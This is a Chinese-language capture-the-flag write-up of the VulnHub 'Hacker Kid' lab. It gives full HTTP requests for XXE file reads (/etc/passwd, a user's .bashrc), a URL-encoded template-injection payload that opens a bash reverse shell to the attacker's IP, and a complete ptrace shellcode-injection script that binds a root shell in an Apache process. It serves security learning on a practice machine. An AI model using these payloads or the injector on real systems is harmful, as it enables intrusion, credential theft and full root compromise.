[VulnHub] - Kid-v1.0.1靶场

靶机地址:https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova
难度等级:中
打靶目标:取得 root 权限
靶机ip:192.168.17.21
攻击机ip:10.67.43.249
使用工具:fping、dig、nmap、
攻击手法:xxe、模板注入、提权

3个页面80端口、9999端口、域名地址:hackerkid.blackhat.local



信息收集

通过信息收集,发现主机开启了3个端口,分别是80,53,9999,同时我们对这三个端口进行访问,发现页面

首先对80端口进行访问,说是要dig,代码审计发现里面存在page_no需要去猜页面

在21页发现了,原文为好吧,你想让我说点什么吗
我是一个黑客孩子,而不是一个愚蠢的黑客。所以我创建了一些子域,随时可以返回服务器
在我的许多家中。。。一个这样的家。。我有一个这样的家:hackers.blackhat.local,这里应该是设置域名hosts

访问9999端口发现dig me,这里应该是dns的解析

把域名对应的ip写进host


写入域名后发现是一个xxe外部实体注入,这个和xss类似,都是没有经过严格的过滤,导致输入的数据直接输出到页面上了,如下是我查看用户名的载荷,发现用户名为saket

根据抓取的数据包显示:所有的数据都是通过XML文档的方式提交,发送到目标服务器,但是邮件位置,无论发送任何数据,都有问题。因数据是通过XML方式提交,所以可以怀疑是否存在XXE漏洞。

补充:

①XXE漏洞介绍:xxe即xml的外部实体攻击,一般针对xxe引用外部实体的场景,该漏洞类型主要针对服务器端接受客户端提交的XML的数据格式,同时服务器端的XML格式的解析器本身存在漏洞或者解析器的规则存在漏洞,导致恶意用户提价的恶意XML请求,发送到服务器,触发了不应该执行的结果。

②XXE漏洞危害:xxe可以导致任意文件读取、可基于XXE攻击结合SSRF、端口扫描、拒绝服务攻击等其他攻击手段

③XML:xml也是一种标记语言,但是xml相比于html语言更加的灵活(因为XML的标记可以是自定义的),通过这种自定义的方式,可以利用XML存储、传输数据,甚至计算机编程语言中基本的数据结构都可以通过XML来进行结构化,表示该种数据结构。有时候XML也会应用在身份认证过程中,传输身份认证信息。xml中的变量名可以通过标签标记

④XXE漏洞存在原理:XML文档可以包含dtd文档结构,dtd主要用于定义XML的文档结构以及其中包含的数据。同时dtd也可以从外部引用或加载外部的资源,如服务器中存放了某个特殊的文件,包含某些机密的信息,如果服务器存在XXE漏洞,那么攻击者可以通过dtd读取机密文件。

⑤XXE漏洞挖掘最典型特征:向服务器提交一个数据,服务器原封不动的将数据返回到了web界面,如果符合该特征,则可进行XXE漏洞的验证(由于之前在email输入的任何内容,最后都会返回的web页面,如果符合该条件,则有理由怀疑此处存在XXE漏洞.)

POST /process.php HTTP/1.1

Host: hackerkid.blackhat.local

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: text/plain;charset=UTF-8

Content-Length: 182

Origin: http://hackerkid.blackhat.local

Connection: close

Referer: http://hackerkid.blackhat.local/

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM  "file:///etc/passwd">]>
<root><name>1</name><tel>2</tel><email>&xxe;</email><password>4</password></root>

尝试读取下当前用户下得其他文件,命令:php://filter/convert.base64-encode/resource=/home/saket/.bashrc,成功获取到.bashc文件信息,对返回的信息进行解密,获得一组账户和密码信息:admin/Saket!#$%@!!。

载荷

POST /process.php HTTP/1.1

Host: hackerkid.blackhat.local

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: text/plain;charset=UTF-8

Content-Length: 227

Origin: http://hackerkid.blackhat.local

Connection: close

Referer: http://hackerkid.blackhat.local/



<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE foo [<!ENTITY xxe SYSTEM  "php://filter/convert.base64-encode/resource=/home/saket/.bashrc">]>

<root><name>1</name><tel>2</tel><email>&xxe;</email><password>4</password></root>

此时想到的是9999端口的登录的用户名和密码发现是saket\Saket!#$%@!!,登录成功,通过fuzz,发现name可以赋值,发现又是可以原封不动的输入到页面上来了,此时想到的是模板注入。

模板注入

通过模板注入反弹shell,需要对这段代码进行url{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/10.67.43.249/4567 0>&1"')}}编码如下是载荷,

GET /?name=%7B%25%20import%20os%20%25%7D%7B%7Bos.system('bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.67.43.249%2F4567%200%3E%261%22')%7D%7D HTTP/1.1

Host: 192.168.17.21:9999

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Cookie: _xsrf=2|516fc1c2|b7f73375a01da3efd1a207451c2ee086|1719644342; incorrect="2|1:0|10:1719644417|9:incorrect|4:MA==|df2fc036ae0c2d119771bfee57294cf01bd4a4724617d44995640b0fd81e3cad"; user="2|1:0|10:1719644417|4:user|8:c2FrZXQ=|d7ab74159679a83e6f6e4278a763a760b91243e584430dd39ad0d7ccb5e20df3"

Upgrade-Insecure-Requests: 1

补充:SSTI服务器端模板注入

模板:把最终展示给用户的页面,先做好一些区域的定义,例如某个区域用于显示用户名、某些区域用于显示用户邮箱等。把某个页面的展示,做成一个模板保存下来,接下来就可以在服务器端进行程序开发时,针对不同的用户、用户的邮件地址等信息,取出数据后直接放置在之前模板定义是对应的固定区域上,按照这种方法,不同的用户登录,都按照相同的页面版式,显示各自的用户名、邮件等信息。通过模板的方式,可以极大的降低开发工作。

一个模板本质是其实就是一个html的页面,在body标签中可以放置模板的占位符(变量),后端数据再传输到占位符的位置,按照固定的样式显示出来。如下模板的占位标识符为{{}}表示,插入指令,使用{% %}占位符。不同的模板语言,占位标识符可能有所不同

<html>
    <body>
        <h1>{{ list_title }}</h1h1>
        <h2>{{ list_description }}</h2>
        {% for item in item_list %}
        	{{ item }}
        	{{ if not loop.last }}
        {% endfor %}
    </body>
</html>

常见的模板语言有jinjia2、Mako、Django、Twig、smarty等,不同的模板语言,在制定表达式、表示语句的符号等都不一样

SSTI模板漏洞场景:如果服务端代码是按照如下方式编写,则服务端所有提交的数据,都会拼接在如下包含了模板元素的HTML中,因此可以完成对客户端提交数据的篡改,将其修改成不同程序的代码(类似SQL注入),即服务端对客户端提交的数据没有做任何的过滤,就拼接到了构造出的模板的页面上,如果客户端提交的代码可以生效,则一般都可以获取到反弹shell

from jinjia2 import Template
tmpl = Template("<html><h1>Hello " + user_input + "</h1></html>") print(tmpl.render())

提权

编辑inject.py一会可以提权使用

# inject.py
# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c 

import ctypes
import sys
import struct

# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html

PTRACE_POKETEXT   = 4
PTRACE_GETREGS    = 12
PTRACE_SETREGS    = 13
PTRACE_ATTACH     = 16
PTRACE_DETACH     = 17

# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct

class user_regs_struct(ctypes.Structure):
    _fields_ = [
        ("r15", ctypes.c_ulonglong),
        ("r14", ctypes.c_ulonglong),
        ("r13", ctypes.c_ulonglong),
        ("r12", ctypes.c_ulonglong),
        ("rbp", ctypes.c_ulonglong),
        ("rbx", ctypes.c_ulonglong),
        ("r11", ctypes.c_ulonglong),
        ("r10", ctypes.c_ulonglong),
        ("r9", ctypes.c_ulonglong),
        ("r8", ctypes.c_ulonglong),
        ("rax", ctypes.c_ulonglong),
        ("rcx", ctypes.c_ulonglong),
        ("rdx", ctypes.c_ulonglong),
        ("rsi", ctypes.c_ulonglong),
        ("rdi", ctypes.c_ulonglong),
        ("orig_rax", ctypes.c_ulonglong),
        ("rip", ctypes.c_ulonglong),
        ("cs", ctypes.c_ulonglong),
        ("eflags", ctypes.c_ulonglong),
        ("rsp", ctypes.c_ulonglong),
        ("ss", ctypes.c_ulonglong),
        ("fs_base", ctypes.c_ulonglong),
        ("gs_base", ctypes.c_ulonglong),
        ("ds", ctypes.c_ulonglong),
        ("es", ctypes.c_ulonglong),
        ("fs", ctypes.c_ulonglong),
        ("gs", ctypes.c_ulonglong),
    ]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))

print("Instruction Pointer: " + hex(registers.rip))

print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
 
  # Convert the byte to little endian.
  shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
  shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
  shellcode_byte=int(shellcode_byte_little_endian,16)
 
  # Inject the byte.
  libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)

print("Shellcode Injected!!")

# Modify the instuction pointer
registers.rip=registers.rip+2

# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))

print("Final Instruction Pointer: " + hex(registers.rip))

# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

文件能力(capabilities)允许在不需要完全的 root 权限的情况下赋予二进制文件特定的权限。例如,某些网络相关的操作可能需要 CAP_NET_ADMIN 权限,而不需要完整的 root 权限 /sbin/getcap -r / 2>/dev/null

/sbin/getcap -r / 2>/dev/null			//文件能力(capabilities)允许在不需要完全的 root 权限的情况下赋予二进制文件特定的权限。例如,某些网络相关的操作可能需要 CAP_NET_ADMIN 权限,而不需要完整的 root 权限


ps -U root						//查看开启的进程id 
ps -aef |grep root				//查看开启的进程id 

root         876       1  0 Jun28 ?        00:00:01 /usr/sbin/apache2 -k start						//看到usr/sbin/apache2 -k  的进程为876注入后即可提权成功,这里根据你自己的进程号进行书写
python2.7 inject.py 876

ss -tuln | grep 5600						//查看5600端口是否开放

nc 192.168.17.21 5600					//连接终端获得root权限

posted @ 2024-06-30 10:08  AuriGe  阅读(70)  评论(0)    收藏  举报